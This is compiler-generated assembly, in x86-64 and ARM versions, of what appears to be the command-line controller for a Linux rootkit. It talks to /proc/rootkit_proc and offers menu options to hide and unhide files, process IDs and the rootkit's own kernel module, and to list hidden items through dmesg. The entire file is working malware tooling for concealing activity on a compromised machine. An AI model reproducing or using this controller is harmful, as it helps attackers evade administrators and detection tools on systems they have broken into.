	.file	"861795.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"Options:"
.LC1:
	.string	"\t1. Hide file"
.LC2:
	.string	"\t2. Unhide file"
.LC3:
	.string	"\t3. Hide PID"
.LC4:
	.string	"\t4. Unhide PID"
.LC5:
	.string	"\t5. See hidden files/PIDs"
.LC6:
	.string	"\t6. Hide module"
.LC7:
	.string	"\t7. Unhide module"
	.text
	.globl	display_intro
	.type	display_intro, @function
display_intro:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	rdi, .LC0[rip]
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	lea	rdi, .LC4[rip]
	call	puts@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	lea	rdi, .LC6[rip]
	call	puts@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	display_intro, .-display_intro
	.section	.rodata
.LC8:
	.string	"Select an option: "
	.text
	.globl	get_option
	.type	get_option, @function
get_option:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	lea	rdi, .LC8[rip]
	mov	eax, 0
	call	printf@PLT
.L3:
	mov	rax, QWORD PTR stdin[rip]
	mov	rdi, rax
	call	fgetc@PLT
	mov	BYTE PTR -1[rbp], al
	cmp	BYTE PTR -1[rbp], 10
	je	.L3
	movsx	eax, BYTE PTR -1[rbp]
	sub	eax, 48
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	get_option, .-get_option
	.section	.rodata
	.align 8
.LC9:
	.string	"Introduce the name of the file: "
.LC10:
	.string	"%256s"
.LC11:
	.string	"ERROR WRITE"
	.text
	.globl	send_msg_file
	.type	send_msg_file, @function
send_msg_file:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 304
	mov	DWORD PTR -292[rbp], edi
	mov	DWORD PTR -296[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -272[rbp]
	mov	rsi, rax
	lea	rdi, .LC10[rip]
	mov	eax, 0
	call	__isoc99_scanf@PLT
	lea	rax, -272[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	eax, 5
	mov	DWORD PTR -284[rbp], eax
	mov	eax, DWORD PTR -284[rbp]
	cdqe
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -280[rbp], rax
	mov	edx, DWORD PTR -292[rbp]
	mov	rax, QWORD PTR -280[rbp]
	mov	DWORD PTR [rax], edx
	lea	rax, -272[rbp]
	mov	rdi, rax
	call	strlen@PLT
	lea	rdx, 1[rax]
	mov	rax, QWORD PTR -280[rbp]
	lea	rcx, 4[rax]
	lea	rax, -272[rbp]
	mov	rsi, rax
	mov	rdi, rcx
	call	memcpy@PLT
	mov	eax, DWORD PTR -284[rbp]
	movsx	rdx, eax
	mov	rcx, QWORD PTR -280[rbp]
	mov	eax, DWORD PTR -296[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	mov	edx, DWORD PTR -284[rbp]
	movsx	rdx, edx
	cmp	rax, rdx
	je	.L6
	lea	rdi, .LC11[rip]
	call	puts@PLT
.L6:
	mov	rax, QWORD PTR -280[rbp]
	mov	rdi, rax
	call	free@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L7
	call	__stack_chk_fail@PLT
.L7:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	send_msg_file, .-send_msg_file
	.section	.rodata
	.align 8
.LC12:
	.string	"Introduce the PID of the process: "
.LC13:
	.string	"%d"
	.text
	.globl	send_msg_pid
	.type	send_msg_pid, @function
send_msg_pid:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	DWORD PTR -24[rbp], esi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR -20[rbp]
	mov	DWORD PTR -16[rbp], eax
	lea	rdi, .LC12[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -16[rbp]
	add	rax, 4
	mov	rsi, rax
	lea	rdi, .LC13[rip]
	mov	eax, 0
	call	__isoc99_scanf@PLT
	lea	rcx, -16[rbp]
	mov	eax, DWORD PTR -24[rbp]
	mov	edx, 8
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	cmp	rax, 8
	je	.L11
	lea	rdi, .LC11[rip]
	call	puts@PLT
.L11:
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L10
	call	__stack_chk_fail@PLT
.L10:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	send_msg_pid, .-send_msg_pid
	.globl	send_msg_id
	.type	send_msg_id, @function
send_msg_id:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	DWORD PTR -8[rbp], esi
	lea	rcx, -4[rbp]
	mov	eax, DWORD PTR -8[rbp]
	mov	edx, 4
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	cmp	rax, 4
	je	.L14
	lea	rdi, .LC11[rip]
	call	puts@PLT
.L14:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	send_msg_id, .-send_msg_id
	.globl	hide_file
	.type	hide_file, @function
hide_file:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 1
	call	send_msg_file
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	hide_file, .-hide_file
	.globl	unhide_file
	.type	unhide_file, @function
unhide_file:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 2
	call	send_msg_file
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	unhide_file, .-unhide_file
	.globl	hide_pid
	.type	hide_pid, @function
hide_pid:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 3
	call	send_msg_pid
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	hide_pid, .-hide_pid
	.globl	unhide_pid
	.type	unhide_pid, @function
unhide_pid:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 4
	call	send_msg_pid
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	unhide_pid, .-unhide_pid
	.section	.rodata
	.align 8
.LC14:
	.string	"Hidden files and PIDs shown in dmesg:"
.LC15:
	.string	"dmesg | tail -2"
	.text
	.globl	see_hidden
	.type	see_hidden, @function
see_hidden:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 5
	call	send_msg_id
	lea	rdi, .LC14[rip]
	call	puts@PLT
	lea	rdi, .LC15[rip]
	call	system@PLT
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	see_hidden, .-see_hidden
	.globl	hide_module
	.type	hide_module, @function
hide_module:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 6
	call	send_msg_id
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE16:
	.size	hide_module, .-hide_module
	.globl	unhide_module
	.type	unhide_module, @function
unhide_module:
.LFB17:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	DWORD PTR -4[rbp], edi
	mov	eax, DWORD PTR -4[rbp]
	mov	esi, eax
	mov	edi, 7
	call	send_msg_id
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE17:
	.size	unhide_module, .-unhide_module
	.section	.rodata
.LC16:
	.string	"/proc/rootkit_proc"
	.align 8
.LC17:
	.string	"ERROR OPEN: Is the rootkit running?"
.LC18:
	.string	"Welcome!"
.LC19:
	.string	"Done\n"
.LC20:
	.string	"Wrong option.\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB18:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	QWORD PTR -32[rbp], rsi
	cmp	DWORD PTR -20[rbp], 1
	setg	al
	movzx	eax, al
	mov	DWORD PTR -12[rbp], eax
	mov	esi, 1
	lea	rdi, .LC16[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -8[rbp], eax
	cmp	DWORD PTR -8[rbp], -1
	jne	.L23
	lea	rdi, .LC17[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L24
.L23:
	lea	rdi, .LC18[rip]
	call	puts@PLT
.L39:
	mov	DWORD PTR -16[rbp], 1
	call	display_intro
	call	get_option
	mov	DWORD PTR -4[rbp], eax
	cmp	DWORD PTR -4[rbp], 7
	ja	.L25
	mov	eax, DWORD PTR -4[rbp]
	lea	rdx, 0[0+rax*4]
	lea	rax, .L27[rip]
	mov	eax, DWORD PTR [rdx+rax]
	cdqe
	lea	rdx, .L27[rip]
	add	rax, rdx
	notrack jmp	rax
	.section	.rodata
	.align 4
	.align 4
.L27:
	.long	.L25-.L27
	.long	.L33-.L27
	.long	.L32-.L27
	.long	.L31-.L27
	.long	.L30-.L27
	.long	.L29-.L27
	.long	.L28-.L27
	.long	.L26-.L27
	.text
.L33:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	hide_file
	jmp	.L34
.L32:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	unhide_file
	jmp	.L34
.L31:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	hide_pid
	jmp	.L34
.L30:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	unhide_pid
	jmp	.L34
.L29:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	see_hidden
	jmp	.L34
.L28:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	hide_module
	jmp	.L34
.L26:
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	unhide_module
	jmp	.L34
.L25:
	mov	DWORD PTR -16[rbp], 0
.L34:
	cmp	DWORD PTR -16[rbp], 0
	je	.L35
	lea	rdi, .LC19[rip]
	call	puts@PLT
	jmp	.L36
.L35:
	lea	rdi, .LC20[rip]
	call	puts@PLT
.L36:
	cmp	DWORD PTR -12[rbp], 0
	jne	.L41
	jmp	.L39
.L41:
	nop
	mov	eax, DWORD PTR -8[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
.L24:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE18:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"861795.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Options:\000"
	.align	2
.LC1:
	.ascii	"\0111. Hide file\000"
	.align	2
.LC2:
	.ascii	"\0112. Unhide file\000"
	.align	2
.LC3:
	.ascii	"\0113. Hide PID\000"
	.align	2
.LC4:
	.ascii	"\0114. Unhide PID\000"
	.align	2
.LC5:
	.ascii	"\0115. See hidden files/PIDs\000"
	.align	2
.LC6:
	.ascii	"\0116. Hide module\000"
	.align	2
.LC7:
	.ascii	"\0117. Unhide module\000"
	.text
	.align	2
	.global	display_intro
	.syntax unified
	.arm
	.fpu softvfp
	.type	display_intro, %function
display_intro:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r0, .L2
	bl	puts
	ldr	r0, .L2+4
	bl	puts
	ldr	r0, .L2+8
	bl	puts
	ldr	r0, .L2+12
	bl	puts
	ldr	r0, .L2+16
	bl	puts
	ldr	r0, .L2+20
	bl	puts
	ldr	r0, .L2+24
	bl	puts
	ldr	r0, .L2+28
	bl	puts
	nop
	pop	{fp, pc}
.L3:
	.align	2
.L2:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.size	display_intro, .-display_intro
	.section	.rodata
	.align	2
.LC8:
	.ascii	"Select an option: \000"
	.text
	.align	2
	.global	get_option
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_option, %function
get_option:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	ldr	r0, .L7
	bl	printf
.L5:
	ldr	r3, .L7+4
	ldr	r3, [r3]
	mov	r0, r3
	bl	fgetc
	mov	r3, r0
	strb	r3, [fp, #-5]
	ldrb	r3, [fp, #-5]	@ zero_extendqisi2
	cmp	r3, #10
	beq	.L5
	ldrb	r3, [fp, #-5]	@ zero_extendqisi2
	sub	r3, r3, #48
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L8:
	.align	2
.L7:
	.word	.LC8
	.word	stdin
	.size	get_option, .-get_option
	.section	.rodata
	.align	2
.LC9:
	.ascii	"Introduce the name of the file: \000"
	.align	2
.LC10:
	.ascii	"%256s\000"
	.align	2
.LC11:
	.ascii	"ERROR WRITE\000"
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	send_msg_file
	.syntax unified
	.arm
	.fpu softvfp
	.type	send_msg_file, %function
send_msg_file:
	@ args = 0, pretend = 0, frame = 280
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #284
	str	r0, [fp, #-288]
	str	r1, [fp, #-292]
	ldr	r3, .L12
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r0, .L12+4
	bl	printf
	sub	r3, fp, #272
	mov	r1, r3
	ldr	r0, .L12+8
	bl	__isoc99_scanf
	sub	r3, fp, #272
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	add	r3, r3, #5
	str	r3, [fp, #-280]
	ldr	r3, [fp, #-280]
	mov	r0, r3
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-276]
	sub	r3, fp, #288
	mov	r2, #4
	mov	r1, r3
	ldr	r0, [fp, #-276]
	bl	memcpy
	ldr	r3, [fp, #-276]
	add	r4, r3, #4
	sub	r3, fp, #272
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	add	r2, r3, #1
	sub	r3, fp, #272
	mov	r1, r3
	mov	r0, r4
	bl	memcpy
	ldr	r3, [fp, #-280]
	mov	r2, r3
	ldr	r1, [fp, #-276]
	ldr	r0, [fp, #-292]
	bl	write
	mov	r2, r0
	ldr	r3, [fp, #-280]
	cmp	r3, r2
	beq	.L10
	ldr	r0, .L12+12
	bl	puts
.L10:
	ldr	r0, [fp, #-276]
	bl	free
	nop
	ldr	r3, .L12
	ldr	r2, [r3]
	ldr	r3, [fp, #-16]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L11
	bl	__stack_chk_fail
.L11:
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L13:
	.align	2
.L12:
	.word	.LC12
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.size	send_msg_file, .-send_msg_file
	.section	.rodata
	.align	2
.LC13:
	.ascii	"Introduce the PID of the process: \000"
	.align	2
.LC14:
	.ascii	"%d\000"
	.align	2
.LC15:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	send_msg_pid
	.syntax unified
	.arm
	.fpu softvfp
	.type	send_msg_pid, %function
send_msg_pid:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	ldr	r3, .L18
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, [fp, #-24]
	str	r3, [fp, #-16]
	ldr	r0, .L18+4
	bl	printf
	sub	r3, fp, #16
	add	r3, r3, #4
	mov	r1, r3
	ldr	r0, .L18+8
	bl	__isoc99_scanf
	sub	r3, fp, #16
	mov	r2, #8
	mov	r1, r3
	ldr	r0, [fp, #-28]
	bl	write
	mov	r3, r0
	cmp	r3, #8
	beq	.L17
	ldr	r0, .L18+12
	bl	puts
.L17:
	nop
	ldr	r3, .L18
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L16
	bl	__stack_chk_fail
.L16:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L19:
	.align	2
.L18:
	.word	.LC15
	.word	.LC13
	.word	.LC14
	.word	.LC11
	.size	send_msg_pid, .-send_msg_pid
	.align	2
	.global	send_msg_id
	.syntax unified
	.arm
	.fpu softvfp
	.type	send_msg_id, %function
send_msg_id:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	str	r1, [fp, #-12]
	sub	r3, fp, #8
	mov	r2, #4
	mov	r1, r3
	ldr	r0, [fp, #-12]
	bl	write
	mov	r3, r0
	cmp	r3, #4
	beq	.L22
	ldr	r0, .L23
	bl	puts
.L22:
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L24:
	.align	2
.L23:
	.word	.LC11
	.size	send_msg_id, .-send_msg_id
	.align	2
	.global	hide_file
	.syntax unified
	.arm
	.fpu softvfp
	.type	hide_file, %function
hide_file:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #1
	bl	send_msg_file
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	hide_file, .-hide_file
	.align	2
	.global	unhide_file
	.syntax unified
	.arm
	.fpu softvfp
	.type	unhide_file, %function
unhide_file:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #2
	bl	send_msg_file
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	unhide_file, .-unhide_file
	.align	2
	.global	hide_pid
	.syntax unified
	.arm
	.fpu softvfp
	.type	hide_pid, %function
hide_pid:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #3
	bl	send_msg_pid
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	hide_pid, .-hide_pid
	.align	2
	.global	unhide_pid
	.syntax unified
	.arm
	.fpu softvfp
	.type	unhide_pid, %function
unhide_pid:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #4
	bl	send_msg_pid
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	unhide_pid, .-unhide_pid
	.section	.rodata
	.align	2
.LC16:
	.ascii	"Hidden files and PIDs shown in dmesg:\000"
	.align	2
.LC17:
	.ascii	"dmesg | tail -2\000"
	.text
	.align	2
	.global	see_hidden
	.syntax unified
	.arm
	.fpu softvfp
	.type	see_hidden, %function
see_hidden:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #5
	bl	send_msg_id
	ldr	r0, .L30
	bl	puts
	ldr	r0, .L30+4
	bl	system
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L31:
	.align	2
.L30:
	.word	.LC16
	.word	.LC17
	.size	see_hidden, .-see_hidden
	.align	2
	.global	hide_module
	.syntax unified
	.arm
	.fpu softvfp
	.type	hide_module, %function
hide_module:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #6
	bl	send_msg_id
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	hide_module, .-hide_module
	.align	2
	.global	unhide_module
	.syntax unified
	.arm
	.fpu softvfp
	.type	unhide_module, %function
unhide_module:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	str	r0, [fp, #-8]
	ldr	r1, [fp, #-8]
	mov	r0, #7
	bl	send_msg_id
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	unhide_module, .-unhide_module
	.section	.rodata
	.align	2
.LC18:
	.ascii	"/proc/rootkit_proc\000"
	.align	2
.LC19:
	.ascii	"ERROR OPEN: Is the rootkit running?\000"
	.align	2
.LC20:
	.ascii	"Welcome!\000"
	.align	2
.LC21:
	.ascii	"Done\012\000"
	.align	2
.LC22:
	.ascii	"Wrong option.\012\000"
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	ldr	r3, [fp, #-24]
	cmp	r3, #1
	movgt	r3, #1
	movle	r3, #0
	and	r3, r3, #255
	str	r3, [fp, #-16]
	mov	r1, #1
	ldr	r0, .L54
	bl	open
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmn	r3, #1
	bne	.L35
	ldr	r0, .L54+4
	bl	puts
	mvn	r3, #0
	b	.L36
.L35:
	ldr	r0, .L54+8
	bl	puts
.L51:
	mov	r3, #1
	str	r3, [fp, #-20]
	bl	display_intro
	bl	get_option
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-8]
	sub	r3, r3, #1
	cmp	r3, #6
	ldrls	pc, [pc, r3, asl #2]
	b	.L37
.L39:
	.word	.L45
	.word	.L44
	.word	.L43
	.word	.L42
	.word	.L41
	.word	.L40
	.word	.L38
.L45:
	ldr	r0, [fp, #-12]
	bl	hide_file
	b	.L46
.L44:
	ldr	r0, [fp, #-12]
	bl	unhide_file
	b	.L46
.L43:
	ldr	r0, [fp, #-12]
	bl	hide_pid
	b	.L46
.L42:
	ldr	r0, [fp, #-12]
	bl	unhide_pid
	b	.L46
.L41:
	ldr	r0, [fp, #-12]
	bl	see_hidden
	b	.L46
.L40:
	ldr	r0, [fp, #-12]
	bl	hide_module
	b	.L46
.L38:
	ldr	r0, [fp, #-12]
	bl	unhide_module
	b	.L46
.L37:
	mov	r3, #0
	str	r3, [fp, #-20]
.L46:
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L47
	ldr	r0, .L54+12
	bl	puts
	b	.L48
.L47:
	ldr	r0, .L54+16
	bl	puts
.L48:
	ldr	r3, [fp, #-16]
	cmp	r3, #0
	bne	.L53
	b	.L51
.L53:
	nop
	ldr	r0, [fp, #-12]
	bl	close
	mov	r3, #0
.L36:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L55:
	.align	2
.L54:
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
